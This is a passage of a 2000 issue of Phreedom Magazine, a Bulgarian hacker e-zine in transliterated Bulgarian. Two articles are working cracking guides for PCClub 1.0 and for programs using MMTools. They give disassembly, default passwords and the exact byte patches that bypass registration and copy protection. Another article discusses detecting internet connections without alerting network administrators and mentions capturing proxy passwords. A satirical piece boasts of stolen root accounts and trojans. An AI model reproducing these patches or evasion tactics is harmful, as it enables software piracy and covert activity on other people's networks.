cbor ot komplexite si). Drug kofti moment e, che Solar Eclipse me pomoli da
vklucha i info za GSM standarta, koeto syshto ne stana, zashtoto spored mene
e po-dobre, da ima otdelna i po-pulna statia za tova. I poslednoto, koeto
iskam da spomena, e edna kaka (neshto kato vdyhnovitelka), kojato ne se
znae, koga shte ja vidja pak, no i prashtam mnoooogo @}--'--,-.
*Tova e zavyrsheno v 2:55 ama tozi pyt PM.
Kuche
(C) 2000 Phreedom Magazine
. . . . . . . . . .. . ... . ...............
Cracking PC CLub 1.0 (roden softuer za Game Clubs) By DaFixer
........... . . . . . . . . . . . . . .
I. Introduction
PCClub 1.0 se razprostraniava zaedno s oshte 2 shareware-ni programi s
diskovete na PC Mania. Sled instalaciata, suzdava direktoria s niakolko
exe-ta:
PCClubAdjust.exe - programka za adjust-vane na settings :)
PCClubMonitor.exe
PCClubRegister.exe - tova si lichi kakvo e i kakvo shte go pravim
PCClubReport.exe
PCClubScanner.exe
PCClubShell.exe - osnovniat modul - ne e Windows Shell, za razlika ot
ostanalite programi na diska - TimeShield i xTerminal
II. Required Utilities
W32DASM
SoftIce
Liubimiat vi HexEditor (Az polzvam Hex Workshop)
III. Applying the Sting
Oshte po vreme na instalaciata se zabeliazva, che "produktut" e pisan na
Delphi (po instaliraneto na BDE).
(Bel.Solar: Instalaciqta na BDE ne e garanciq che programata e pisana na
Deplhi. Borland Database Engine se poddurva ot Deplhi, C++ Builder i Borland
C++. Po dobur nachin za detectwane na kompilatora e da se pogledane w EXE-to
i da se potursqt identifikacionnite stringowe, koito wsichki kompilatori
ostawqt)
Sled kato instalaciata prikliuchi i se opitate da startirate niakoe ot
exe-tata za nastroika ili spravki se poiaviava "Kontrol-ut na dostupa" :))
E, edva li shte naluchkate parolata, no takava ima i dokolkoto se rovih iz
dokumentaciite nikude ne stana vupros za neia! Stana vupros obache za parola
za dostup do PCClubShell.exe. Shte vi spestia da se roveneto i shte vi
otkrehna, che parolata e "1" :).
Ta po vuprosa za "Kontrol-a na dostupa". Sled kato vidiah, che ima
parola, si otvorih BDEAdministrator-a, za da potursia alias. E, niamashe
takuv. Veroiatno programite sami si setvat alias-ite dinamichno in runtime.
Imashe obache edna osobenost - BDE-to na PCClub 1.0 be instalirano na
razlichno miasto ot C:\Program Files\Shared Files\Borland Shared\BDE.
Interesno...
Iasno e, che ne mogat da se zarediat 2 instance-a na 2 ednakvi dll-ki v
pametta :) Sled kato si otvorite BDEAdministrator-a i sled tova pusnete
niakoia ot programite na PC Club to... GRUM... E nishto osobeno de, prosto
vizhdate kak izglezhdat glavnite formi na programite. No nishto poveche...
"Unable to perform this operation on a closed data set" shte se poiavi ako
se opitate da napravite niakakvi promeni.
V posledstvie razbah, che parolite vsushtnost ne sa taina i sa "2", "3"
i "4". Vinagi sum mrazil da cheta otegchitelni help-ove :)). Ta tova za
nachalo.
Sled malko "vzirane" v PE32 header-a na failovete zabeliazvate nepriiatnoto:
UPX 0.82 Copyright (C) 1996-1999 Laszlo Molnar & Markus Oberhumer $..
$Id: NRV 0.61 Copyright (C) 1996-1999 Markus F.X.J. Oberhumer $..
$License: NRV for UPX is distributed under special license $..UPX!
Losho! Sled kato se porovite v Internet i namerite kakvo e UPX :
The Ultimate Packer for eXecutables
Copyright (c) 1996-1999 Markus Oberhumer & Laszlo Molnar
http://wildsau.idv.uni-linz.ac.at/mfx/upx.html
http://www.nexus.hu/upx
Stava iasno, che si imame rabota s oshte edna programa za kriptirane na
PE. Mezhdu drugoto, v opisanieto na UPX mai pisheshe neshto po vuprosa, che
detect-va SoftIce i ako go nameri pravi nepriiatni neshta s PC-to vi. Taka
che iavno tova ne e reshenie.
Kato poprochetete malko poveche za UPX shte vidite edna interesna opcia
"d" - DECOMPRESS :))
He-He !!!
Vednaga kopirate upx.exe v direktoriiata na PCClub i pishete v DOS
Prompt velikolepnoto:
upx.exe -d PCClubShell.exe ....
Ultimate Packer for eXecutables
Copyright (C) 1996, 1997, 1998, 1999
UPX v0.84 Markus F.X.J. Oberhumer & Laszlo Molnar Oct 4th 1999
File size Ratio Format Name
------------------- ------ ----------- -----------
upx: PCClubShell.exe: CantUnpackException: not yet implemented
Unpacked 1 file: 0 ok, 1 error.
E tova e napravo vurhut!!! Ne si pravete truda da tursite decompress-ori
ot drugi avtori - prosto niama takiva :((
No sled po-vnimatelno vglezhdane zabeliazvate neshto osobeno interesno -
failut PCClubRegister.exe niama nepriatnoto UPX v header-a si! Tova veche
naistina e goliama nahodka. Opredeleno mi e interesno obache kakvo li tochno
e stanalo po vreme na "razrabotkata" na prilozhenieto ot Softuerna Grupa
Burgas, Bulgaria, che tozi fail e ostanal taka prenebregnat ot UPX-a !!! :))
Kakto i da e, veche imame za kakvo da se zahvanem - ami da zapochvame da
krakvame! :))
Sled kratko dizasemblirane s W32DASM 8.9 poluchavame zhelania kod. Ako
startirate programata PCClubRegister.exe mozhe da se zabelezhi slednia
prozorec:
Interesno shto za UNIKALEN NOMER NA PRODUKTA :) E vse pak potursih iz
resursite na exe-to dali puk sluchaino go niama vuprosniat nomer
"587064175", no ne go namerih. Za smetka na tova obache namerih interesnia
resurs "C:\"!!! Sled burz pregled na importnatite metodi vednaga mi napravi
vpechatlinie importa:
KERNEL32!GetVolumeInformationA
Vednaga go potursih iz koda i stignah do:
* Possible StringData Ref from Code Obj ->"C:\"
|
:0044595F 687C594400 push 0044597C
// Opredeleno kato parametur se podava "C:\"
* Reference To: kernel32.GetVolumeInformationA, Ord:0000h
|
:00445964 E8FF03FCFF call 00405D68
:00445969 85C0 test eax, eax
// Proveriava dali funkciiata e succeed-nala
:0044596B 7505 jne 00445972
:0044596D 83C8FF or eax, FFFFFFFF
:00445970 EB03 jmp 00445975
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044596B(C)
|
:00445972 8B0424 mov eax, dword ptr [esp]
// Premestva Volume Serial Number v EAX
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00445970(U)
|
:00445975 81C414010000 add esp, 00000114
// ESP veche ne sochi nishto polezno
(Bel.Iron - vsushtnost unishtozhava stack frame-a)
:0044597B C3 ret
// Vrushta se ot CALL-a
E veche neshtata sa iasni. Vednaga si zaredih SoftIce-a i si bpx-nah
KERNEL32!GetVolumeInformationA.
Okaza se, che proverkata na serinia nomer na diska se pravi 2 puti. Edin
put pri inicializaciata na programata, za da presmetne unikalnia nomer, i
oshte edin put pri proverkata dali ste Good Guy ili ste Bad Cracker :)
Sled startiraneto vuvedoh niakakuv idiotski nomer, naprimer "fuck off" i
natisnah butona za registrirane. SoftIce-a podskochi na
KERNEL32!GetVolumeInformationA, a sled izlizane ot kernel32.dll s F11 se
vurnah v koda na PCClubRegister.exe.
Prosledih kakvo stava natatuk. Tam sledvashe slednatna uzhasna procedura
po presmiatane na "UNIKALNIA NOMER NA PRODUKTA " i registracionnia kod:
:00445653 E8E4020000 call 0044593C
// Tuk se vrushtame sled opredelianeto na nomera na hard-a v EAX
:00445658 8BD8 mov ebx, eax
:0044565A 8D55F4 lea edx, dword ptr [ebp-0C]
:0044565D 8BC3 mov eax, ebx
............................................................................
Tuk sledvat bezumno slozhnite smetki :))
E, vse pak niama da pishem Key Generator, taka che shte gi propusnem :)
............................................................................
:0044575A E809E4FBFF call 00403B68
// I sled dulgite muki stigame do edin CALL
// na procedurka, koiato pravi vuprosnata
// proverka
:0044575F 742B je 0044578C
// I sushtestvenia vupros:
// Suvpadat li deistvitelniia
// nomer na hard-a s presmetnatiia ot
// reg. koda. I ako
// ne suvpadat produlzhavame s
:00445761 6A00 push 00000000
............................................................................
:00445787 E9B2000000 jmp 0044583E
// I okonchatelno sled redica nepriiatni
// procedurki
// stigame do bye-bye jump-a
Inache shtiahme da stignem do kude po-dobri neshta .....
E ako prosto smenim uslovniia skok
:0044575F 742B je 0044578C
// predviden samo za dobrite "kupuvachi"
S bezuslovniia:
:0044575F EB2B jmp 0044578C
// za vsichki, koito iskat da si registrirat
// PCClub 1.0
shte stignem do kraia!!!
IV. Conclusion
E, ako imate zhelanie, mozhete da razuchite "slozhnite smetki" i da si
spretnete edin KeyGenerator, no spored men ne si struva mukite. Edva li
tochno tazi programa zasluzhava chak takova vnimanie :))
A ako vse pak smiatate, che tia mozhe da vi e polezna... ami kupete si ia:
28 lv/br za ot 1 do 10 licenza
25 lv/br za poveche ot 11 licenza
Ili podmenete 74 s EB na fizicheski adres 44B57, sled koeto si pusnete
novoto PCClubRegister.exe i napishete kakvoto pozhelaete za registracionen
kod :) Shte budete pozdraveni za uspeshnoto regisrirane na produkta.
DaFixer
(C) 2000 Phreedom Magazine
. . . . . . . . . .. . ... . ...............
O B E S H T A N I E
pred drugarq ManiaX Killerian
........... . . . . . . . . . . . . . .
ot rabotnicite, invenerite i sluvashtite ot hakerskite grupi, obedineniq
i mestni organizacii w stranata
Lybimi nash drugariu ManiaX,
S chustwo na radost i zadowolstwo Wi dokladwame, che w rezultat na
blagorodnoto hakersko surewnowanie i sistemnoto izpolzwane na bogatiq
amerikanski i suwetski opit s chest ustoqhme dadenoto pred Was obeshtanie za
predsrochno izpulnenie na hakerskite planowe za 1999 godina. Kolektiwite na
44 hakerski sdruveniq izpulniha godishniq si plan za po-malko ot 10 meseca,
a 42 grupi - za po-malko ot 11 meseca, kato: zawod "Star Gruhtar", DIP
"Solar Eclipse", "Kay" i drugi.
S izpulnenieto na dadenoto pred Was obeshtanie za 1999 godina nasheto
narodno stopanstwo poluchi ot hakerskite promishleni predpriqtiq
swruhplanowo 3053 root-ski accounta. Preizpulnen be planut za snivenie
sebestojnostta na produkciqta i bqha realizirani 23853 bajta ikonomii. W
izpylnenie ukazaniqta na CK na PHM za podobrenie kachestwoto na produkciqta
w hakerskite grupi sega rabotqt 283 brigadi za otlichno kachestwo, a 159
hakeri poluchiha sobstwen kachestwen shtempel. Wse po-shiroka i uspeshno se
prilaga pochinut na stahanowcite-udarnici CuMeoHoB i Guninski za snivenie
sebestojnostta na prdukciqta pri wsqka proizwodstwena operaciq. Wuw
fabrikata "EXo" za shest meseca sa realizirani 23 swruhplanowi trojanci.
Prez 1999 godina bqha postignati znachitelni uspehi w podobrenie
bitowite uslowiq na hakerite w stranata. Za kulturni i blagoustrojstweni
meropriqtiq w sliwenskiq i sofijskiq zatwor bqha izrazhodwani nad 6538782
lewa.
Wsepreslawni drugary ManiaX,
Wduhnoweni ot postignatite uspehi prez izteklata godina, rukowodeni ot
nashata slawna komu^H^H^H^Hhakerska partiq, polzwajki bogatiq opit na
amerikanskite i nashite stahanowci, nie dawame pred Was, pred Partiqta i
naroda slednite obeshtaniq za predsrochno izpulnenie na plana za 2000 godina
i za izpylnenie na petiletkata za 4 godini:
Da izpulnim proizwodstweniq plan 105.7 na sto.
Da uwelichim proizwoditelnosta na truda s 8.8 na sto swruh plana.
Da preminat prez kursowe za kwalifikaciq 2083 hakeri.
Da dadem pyrwokachestwena produkciq 85 na sto ot cqloto proizwodstwo pri
zaplanuwano 75 na sto.
Da preizpulnim normata za sreden denonoshten probeg da bqgashtite ot
chengetata s 2.5 na sto.
Da izwozim i metnem 2000 typi sysadmini poweche ot zaplanuwanoto.
Da uwelichim asortimenta na exploitite, programite i ishlemeto s 20 na
sto nad plana.
Skupi drugary ManiaX,
Opirajki se na bogatiq opit ot borbata za izpulenie na obeshtaniqta prez
1999 godina, werni na Washite ukazaniq da ne se uspokoqwame s postignatite
uspehi, shte napregnem wsichkite si sili za osigurqwane na now podem w
hakwaneto i crackwaneto, za uspeshno izpulnenie na dadenite pred Was
obeshtaniq. S towa nie shte dadem na narodnoto stopanstwo swruhplanowa
produkciq ot 31337 trojanci i 73313 exploiti. Ot snivenie na sebestojnosta
na produkciqta shte realizirame 644 GB ikonomii. Za razi cel nie shte
prowedem oshte po uporita i nastojchiwa borba za po-natatushno podobrenie
organizaciqta na truda i proizwodstwoto, za ukrepwane na trduwata i durvawna
disciplina. Shte zasilim borbata za dobro i otlichno kachestwo na
produkciqta. Shte zasilim razprostranenieto na opita na nowatorite w
proizwodstwoto i shte podobrim kwalifikaciqta na rabotnicite. Shte wnedrim
shiroko metoda na inv. Guninski w nashata rabota. Shte powedem i oshte
po-nastojchiwa borba za po-natatushno razshirqwane i wnedrqwane w
proizwodstwoto metoda na Jon Johanson i Muhanow. Po primera na Alan Cox i
Linus Torvalds ot Kupawinskata fabrika - Helzinki, shte razgrushtame
blagorodno hakersko surewnowanie za neprekusnato razkriwane na dopulnitelni
rezerwi i nowi wuzmovnosti za ikonomii. Zastwajki na boewi post za
interesnite na Rodinata protiw nejnite wytreshni i wunshni wragowe, hakerite
ot proizwodstwenite predpriqtiq i branshoweite organizacii ne shte povalqt
silite si za da prewurnat w viwo delo dadenite pred Was obeshtaniq.
Da viweqt nashite stahanowci, purwenci i nowatori w proizwodstwoto!
Da viwee nashata rukowoditelka i wduhnowitelka w borbata za mir i
hacktivism - slawnata PHM nachelo s generalniq sekretar na Partiqta
drugarq EXo!
Da prebude bulgaro-tajwanskata druvba - izworut na nashite pobedi w
stroitelstwoto na personalni elektronno-izchislitelni mashini, garanciq
za nezawisimostta i swobodata na nashata Rodina!
Da viwee nashiq Wovd i Uchitel - wduhnowitelqt na cqloto progresiwno
chowechestwo w borbata mu za mir i socializum - welikiqt ManiaX
Killerian!
Obeshtanieto e obsudeno i prieto na obshto subranie na rabotnicite,
invinerite, tehnicheskiq personal i sluvashtite ot hakerskite grupi,
obedineniq i mestni organizacii w stranata.
6 February 2000
(C) 2000 Phreedom Magazine
. . . . . . . . . .. . ... . ...............
Detecting InterNet Connections By ManiaX Killerian
........... . . . . . . . . . . . . . .
Statiq na tazi tema imashe i v PhM20, no tam tq beshe orientirana
osnovno kum Windows, i ne pokrivashe nqkolko interesni sluchaq, kato VPN
naprimer. Tazi statiq e poveche teoritichno orientirana i s malko primeri.
Vuzmozhnite fizicheski mrezhovi vruzki na edma mashina za nashite celi
mogat da se razdelqt na 2 vida - Dial-UP ( normalen dial-up, callback i
t.n.) i LAN vruzka ( Ethernet i t.n.). Po-chesto sreshtanoto e dial-up-a, no
i vtoriqt variant ne e za propuskane poradi vuzmozhnostite si - kato
naprimer po-burza vruzka, t.nar. 'shared' sreda, koqto dava neveroqtna
vuzmozhnost za sniffing.
Fakticheski, tipovete vruzka koito mogat da se sreshtat, sa slednite:
I. VPN vruzka.
I.1. VPN vruzka bez nikakva vruzka kum Internet.
I.2. VPN vruzka s nqkakva vuzmozhnost za vruzka kum Internet.
I.2.1. S direkten gateway.
I.2.1.1 Filtirirana.
I.2.1.2 Nefilrirana.
I.2.2. Prez masq.
I.2.2.1 Filtirirana.
I.2.2.2 Nefilrirana.
I.2.3. Sus socks/proxy.
I.2.4. Sus firewall s parola.
II. ISP vruzka
II.1. ISP vruzka kum normalen provider, bez nqkakvi filtri.
II.2. ISP vruzka prez masq.
II.3. ISP vruzka sus filtrirane na chast ot trafika.
II.4. ISP vurzka s propuskane na chast ot trafika.
Osnovnata razlika m/u VPN i ISP vruzkite e tazi, che pri purvite se
obrushta mnogo po-golqmo vnimanie na sigurnostta i e mnogo po-vuzmozhno da
se sledi trafika na potrebitelq, i po tozi nachin proverkata za Internet
connection da predupredi administratorite na mrezhata za vuzmozhnostta da
ima neshto, koeto te ne biha haresali. Za tova sum razdelili I.2. i II -
inache te ne se razlichavat mnogo.
Vuzmozhnite metodi za otkrivane na vruzka mogat da se razdelqt v 3
kategorii - pasivi, 'stealth' i aktivni. Purvqt metod vkluchva proverka na
nastrojkite na samata lokalna sistema, vtoriqt izpolzva mrezhova aktivnost,
koqto e prakticheski neotlichima ot normalnata, a tretiqt vkluchva mrezhova
aktivnost, koqto vuv VPN bi se otlichavala ot ostanalata i programata bi
stanala lesno otkrivaema i drazneshta za administratorite.
Tuk iskam da otdelq malko vreme, za da obqsnq zashto ima nuzhda ot
podobna statiq - zashtoto povecheto otkrivaniq na interenet vruzka sa zle
napisani i samo generirat nenuzhen i draznesht trafik, kojto edinstveno
mozhe da poprechi na mrezhovite administratori na nqkoe VPN, koeto ima
striktni pravila za trafika i logva vseki paket, kojto ne se podchinqva na
tezi pravila. Eto taka naprimer, predstavete si che ste napisali naprimer
Napster server, kojto kogato ima connection se vkluchva i se announce-va
kudeto trqbva. I che nqkoj, kojto izpolzva komputera si i za vruzka do
firmata si, si go instalira - v takuv sluchaj vuv firmata vse nqkoga shte
oburnat vnimanie na nenuzhniq trafik kojto se generira, shte se vdigne shum,
i chovekut shte mahne programata - neshto koeto bi moglo da se izbegne, ako
prosto se otkriva koe e istinski internet connection i koe ne e.
I taka,neka zapochnem s
_PASIVNITE METODI_
Tezi metodi ne generirat nikakuv mrezhov trafik, i za momenta sa
naj-izpolzvani. Purviqt takuv metod e da se proverqva tablicata s
interfejsite na mashinata, i da se tursi takuv, chiito IP address ne e
127.0.0.1 - koeto donqkude e pravilno, no ne reshava celiq problem,
zashtoto e prednaznacheno za sluchai ot tipa I.2.1. , I.2.2. , II.1. i II.2.
Druga vuzmozhnost e da se proveri dali ima default route prez nqkoj ot tezi
interfejsi - tova sushto vurshi dobra rabota, no samo za sluchaq kogato
mashinata e na LAN, kojto ne e svurzan kum InterNet, i izpolzva nqkakuv drug
variant - naprimer dial-up - za vruzka.
Proverkata za tova dokolko e realna vruzka kum Inet, kato se gleda dali
IP adresa e realen, sushto ne pokriva vsichki sluchai - izpuska vruzkite ot
tipa I.2.2. i II.2.
Mnogo polezen, no i mnogo truden za osushtestvqvane metod za pasiven
detect e tozi s preglezhdane na sistemnata configuraciq i sledene na
potrebitelq - zadadeni socks-ove, zadadeni mailbox-ove i t.n. , chrez koito
da se opredeli v koi momenti sushtestvuva connection kato se nabludavat
dejstviqta na potrebitelq - naprimer kogato browse-va, da se zapishe prez
koj connection e svurzan i kak. Problemut tuk se poqvqva ot tova, che e
mnogo trudno (a mozhe bi i nevuzmozhno) da se opredeli tochno koga
potrebitelq browse-va Inet i koga - nqkoj vutreshen site. Vuzmozhno e
naprimer da se proverqva dali ne poseshtava poveche ot 3-4 korenno razlichni
site-ove, razlichavashti se po purvoto chislo na IP adres-a, no tuk veche
stigame do analiz na potrebitelq, koeto e dosta slozhna oblast. Zatova neka
produlzhim sus
_STEALTH METODITE_
Tezi metodi sa mnogo po-tochni ot pasivnite, i mogat da pokriqt mnogo
seriozna chast ot vuzmozhnostite. Tqhnoto prilozhenie idva sled tova na
pasivnite - t.e. sled kato e otrkita nqkakva vruzka, chrez tezi nachini s
dosta dobra tochnost mozhe da se opredeli ot koj vid e vruzkata.
Edin takuv nachin e da se vzeme ot sistemnata configuraciq DNS servera i
da se prati zaqvka kum nego (izpolzvajki UDP socket, ne standartnite
funkcii) za NS serverite za nqkolko domain-a - naprimer mtv.com, uu.net,
internic.net - neshta, za koito e qsno che shte gi ima dokato ima net :) .
Ako servera vurne nqkakuv polozhitelen otgovor, to veche mozhem da sme
sigurni na pone 95 % che imame vruzka kum internet. Sushto taka mozhem da
proverim za rabotesht socks ili proxy server ( na baza na localnata
konfiguraciq) koito da mogat da se izpolzvat za nashite celi. Sushto taka,
mozhe da se opita da se otvori proizvolna stranica prez localno zadadenoto
proxy - naprimer www.msn.com - koeto pravi vseki Inet explorer po default,
ili puk home.netscape.com. Mozhe susto taka da se prihvane parolata za
proxy-to/firewall-a (tova mozhe bi trqbva da vleze v pasivnite metodi) i da
se izpolzva pak - no tova izlaga programata na risk ot detectvane (ako e
nqkoj troqnec naprimer).
I posledni ostavat
_AKTIVNITE METODI_
Tezi metodi sa naj-lesno otkrivaemite, no i garantirat naj-golqma
tochnost, i sushto taka s tqh mozhem da proverim dali vruzkata koqto imame
mozhe da ni svurshi rabota. Naprimer, ako iskame da izpratim poshta, mozhem
da opitame da se svurzhem direktno sus SMTP servera si i da proverim dali
stava ili ne stava vruzkata. Sushto taka mozhem da opitame i da pusnem ping
kum nqkoj server kojto garantirano otgovarq ( kato www.mtv.com, kojto e
lubim na EXo za taq cel, ili www.internic.net). Sushto taka mozhe da se
probva connect do 2-3 site-a (az v tezi sluchai vinagi predpochitam
root-servers.net) po 53ti port, kojto nikoga ne se filtira, i da se vidi
dali se osushtestvqva vruzkata.
Vmesto zakluchenie moga da kazha, che nito edin ot tezi metodi ne e
perfekten. Za celite na vsqka programa mogat da se kombinirat po nqkolko ot
tezi metodi i da se postiga optimalen rezultata ot gledna tochka na
generiran trafik / istinnost / nezabelezhimost.
_SOURCES_
Slednite sourceowe demonstrirat nqkoi ot opisanite metodi.
-- interface_num.sh - Proverqva dali ima poveche ot edin UP interface ------
#!/bin/bash
if [ `/sbin/ip link |grep UP |wc -l` -gt 1 ] ; then
echo More than one interface UP.
exit 0
else
echo Only loopback exists.
exit 1
fi
-- default_route.sh - Proverqva dali ima default route ---------------------
#!/bin/bash
if /sbin/ip route |grep default > /dev/null ; then
echo Exists default route.
exit 0
else
echo No default route present.
exit 1
fi
-- dns_test.sh - Pravi DNS test za daden domain ----------------------------
#!/bin/bash
#
if [ -z $1 ] ; then
echo Usage: $0 domain
exit 2
fi
if dnsquery $1. NS 1>/dev/null 2>/dev/null ; then
echo Test successful
exit 0
else
echo Test failed
exit 1
fi
Za ostanalite metodi ima sushtestvuvashti komandi:
telnet - za proverka za tova dali mozhe da se otvori connection (v
povecheto sluchai se preporuchva da se polzvat netcat ili socket za
scriptove)
ping i fping - da se proverqva dali mozhe da se ping-ne nqkoq mashina.
Scriptovete mogat po zhelanie lesno da budat dopulneni taka, che da
proverqvat dokolko se minava prez masq i t.n. Sushto taka chast ot
scriptovete iziskvat komandata 'ip' ot iproute paketa.
ManiaX Killerian
(C) 2000 Phreedom Magazine
. . . . . . . . . .. . ... . ...............
Cracking Java Applets By Solar Eclipse
........... . . . . . . . . . . . . . .
Java e edin dosta interesen ezik. Malcina sa se zanimawali s nego, no
kato koncepciq Java e edin mnogo interesen ezik. Osnownata razlika mevdu
konvencionalinte ezici i Java e towa che Java se kompilira do t.n. byte-code
i sled towa se izpulnqwa ot interpretator (t.n. Java Virtual Machine). Byte
coda (narichan oshte P-code) sudurva cqlata informaciq za programata, s
izkluchenie na symbol tablicite. Towa pozwolqwa pulna dekompilaciq na Java
programite, koeto ot swoq strana ulesnqwa izkluchitelno mnogo rabotata na
crackerite.
W tazi statiq shte se zanimaq s crackwaneto na Java appletite na
AnfyTeam. Na adres www.anfyteam.com movete da swalite bezplatni versii na
appletite i da gi izpolzwate za dobawqne na gotini efekti wuw washata
web-stranica. Za suvalenie bezplatanata wersiq na appletite ima edno mnogo
wavno ogranichenie - pri click wurhu appleta se poqwqwa suobshtenie che towa
e neregisrirana versiq na Anfy. Powecheto web designeri shte iskat da
izpolzwat appletite kato interactivni linkowe, taka che tozi nag-screen e
mnogo draznesht.
W statiqta si shte izhovdam ot poziciqta na cracker, imasht opit s Win32
sharewarki, no napulno nezapoznat s Java. Kogato se hwanah da krakwam Anfy,
ne bqh imal nikakuw predishen doseg s Java.
Step 1: First look
Appletite sa arhivirani w ZIP file. Sled razarhiwiraneto mu poluchawame
appletite w otdelni direktorii, zaedno s dokumentaciq. Ot dokumentaciqta
nauchawame che appletite sa napulno funkcionalni i nag-free kogato se puskat
ot localniq hard disk. Towa zwuchi dobre - znachi nqkude w sourca trqbwa da
ima kod, koito prowerqwa ot kude se puska appleta. Sushto taka w
dokumentaciqta pishe che sled registraciqta shte poluchim registracionen
kod, koito shte e swurzan s imeto na domaina ni. Tozi kod se podawa kato
parametur w
. . . . . . . . . .. . ... . ...............
Cracking MMTools By DaFixer
........... . . . . . . . . . . . . . .
Tova e pismoto mi do "xavier" s objasnenija kak da se kraknat programite
polzvashti MMTools (komponenti za Delphi). Ne sum znael che pichovete po
sveta ot meseci se borili da crack-nat tova :)
MMTools programite iskat MMKey32.dll za da vurvjat bez pusnato Delphi. E
az si napisah moj sobsven MMKey32.dll exportvasht kakvoto trjabva. S WinAPI
sniffer vidjah imenata na procedurite, no tjah gi ima i hardcode-nati.
Programata za kojato stava vupros tuk njama da namerite, no tova njama
znachenie, ponezhe e opisan univeralen algoritum za crackvane na vsichki
programi polzvashti MMTools.
V posledstvie se okaza che za Delphi5 i Delphi3 njakoi patterns sa
razlichni. Problema go reshihme kato tursihm stringovete 'shrink0', sled
tova obrushtame Phys adresa v RVA. i nakraja si generirame pattern-a
dinamichno. Toj e mov edx, RVA_ADRESA. Sled t ova na 11 ili 12 byte-a na zad
se patchva 74h s EBh.
Eto i samoto pismo:
Hi xavier this is my reaserch:
1) Enable your error displays with patching physical offset: 5560
from FF2570B24500 to 909090909090. The mm initialization code
sets error mode to zero !!! So if something happened you don't
know what is it! This operation is just to help us crack this
babe :)
1.1) I also changed string resurces in exe. As I told you yesterday
some strings can be found on two different offsets. So I change
Their names to: IDE1not found, IDE2Notfound, Initialization1error
and Initialization2error. Now I will know where the code flows.
(My Delphi is installed on the NT and I don't want to install
SoftIce over NT. My Win95 and FAT is full with games and there is
no space for Delphi there :)) )
2) Remove IDE check patching physcal offset: 48AF5 from 74 to EB.
(This operation is necessary for the crack. This offset can be
easily found in general from nearby staying string )
The HALT procedure is located at RVA 403808. It is called from
* Referenced by a CALL at Addresses:
|:00449011 , :00449137 , :0044919A , :004494F7 , :0044971B
|:00449D65 , :00449E25 , :00449EC7 , :0044CC22 , :0044CD44
|:0044CDB7 , :0044CFD7 , :0044EB37 , :0044ED03 , :0044EE4C
|:0044EEBF , :0044FA6E , :0044FE88 , :0044FFBE , :00450031
|:00451C53 , :00451D24 , :00451E4E , :00451EC1 , :00458128
|
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040392E(U)
|
:00403808 53 push ebx
I think only the unconditional jump reference from 0040392E must
exists and that all calls are from the protection shema.
3) Build stupid mmkey32.dll
(This is necessary for the crack)
!!!!!!! Strange but only with this patches your program starts some
!!!!!!! times. Like the case with the org mmkey32.dll ver 5.0. But
!!!!!!! may be with org version the app have stared more often ...
!!!!!!! And the other strange thing is that your app have started
!!!!!!! after "Initialization failed" message .... :))) I think I'm
!!!!!!! near ....
4) After I check *ALL* the addresses that calls exit procedure,
I think this procedure is Halt(0), I've found the next
groups of calls:
A) Call when Delphi is not active, or somthing other Delphi related
- from 00449011
here should be patched the proc that checks for Delphi at 00448F5C.
:00449001 E856FFFFFF call 00448F5C :00449006 84C0 test al, al
:00449008 7407 je 00449011
because it can be located easyly ...
locate 81C4F8FEFFFF6805010000 and change first 3 bytes
to B0FFC3 (mov al,FF ; ret)
B) After compare of some address to 00009C40 if not greater then exit
- from 00449137
- from 0044CD44
- from 0044EE4C
- from 0044FFBE
- from 00451E4E
:00449124 33C0 xor eax, eax
:00449126 A3D09B4500 mov dword ptr [00459BD0], eax
:0044912B 813DD09B4500409C0000 cmp dword ptr [00459BD0], 00009C40
:00449135 7D05 jge 0044913C
(but how this will be greater.
ofcourse if s.o. else write meth.
at 00459BD0)
:00449137 E8CCA6FBFF call 00403808
these can be located by: 409C00007D05
and patched to : 409C0000EB05
C) At the end of Library loading. I think these are shrinker related
- from 0044919A
- from 0044CDB7
- from 0044EEBF
- from 00450031
- from 00451EC1
**0044919A -> (If loaded library proc addresses are not
like the hardcoded)
:0044918E 813DCC9B450031347D0A cmp dword ptr [00459BCC], 0A7D3431
:00449198 7405 je 0044919F
:0044919A E869A6FBFF call 00403808
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00449180(C), :0044918C(C), :00449198(C)
|
:0044919F 803DB4A8450000 cmp byte ptr [0045A8B4], 00
:004491A6 751D jne 004491C5
* Possible StringData Ref from Code Obj ->"shrink0"
|
:004491A8 BA30924400 mov edx, 00449230
these should be patched. May be they are the only one that
should be patched :)) I'm not sure yet ... I think these checks
are for proc addresses of imported procs. and they are hardcoded.
So these can be located by: 813831347D0A7405
and should be patched to : 813831347D0AEB05
Note: I also think that here should be found the algorithm of
decompressing shrinked procs. But I don't care. I'll crack
the exe.
D) After unsuccessfull calls to mmxxx32.dll proc
- from 0044CC22
- from 0044CFD7
- from 0044EB37
- from 0044ED03
- from 0044FA6E
- from 0044FE88
- from 00451C53
- from 00451D24
:0044CBFF FFD0 call eax
(this might be a call to any
mmkey32.dll proc)
:0044CC01 8B15909C4500 mov edx, dword ptr [00459C90]
:0044CC07 8902 mov dword ptr [edx], eax
:0044CC09 A1909C4500 mov eax, dword ptr [00459C90]
:0044CC0E 833800 cmp dword ptr [eax], 00000000
:0044CC11 740F je 0044CC22
these can be located by: 8902A1909C4500833800740F
and patched to : 8902A1909C45008338009090
E) Exit, called after "Bad Boy" message dialog, or after an error
- from 004494F7 - Unable to load library
- from 0044971B - IDE not found 1
- from 00449D65 - IDE not found 2
- from 00449E25 - Evaluation Expired
these should not be patched
F) The only normal one - at the end of application
- from 00458128
this should not be patched :))))))))
G) Other ...
- from 00449EC7, there are some winmm.dll calls
I don't know. I'll not patch this at this moment
So ... after all this patches and with my silly MMKey32.DLL your
program manage to start 20 times from 20 attempts !!!!!
I think mmtools protection is a history now .... :)))
So now is 00:49 local time and I'll start to work over smart patcher
that will detect and correct MMTools proggies.
DaFixer
(C) 2000 Phreedom Magazine
. . . . . . . . . .. . ... . ...............
Wireless/Packet Modems By ADA
........... . . . . . . . . . . . . . .
Ot tazi statiq shte poluchite informaciq otnosno edin nachin za
predavane na danni, koito ne e dosta izvesten na shirokata publika.
1) Istoriq
Prez 1979 grupa Kanadski radioliubiteli (HAMs) izpolzvali radiostanciite
si edin vid ne po standartno prednaznachenie. S pomoshtta na samorychno
izmisleno i napraveno ot tqh ustrojstvo, koeto te narichat TNC (Terminal
Node Connector), te osyshtestvqvat cifrova vryzka megdu terminali. Tova e
bilo opredelen napredyk v sravnenie s RTTY (radio teletype), koito bili
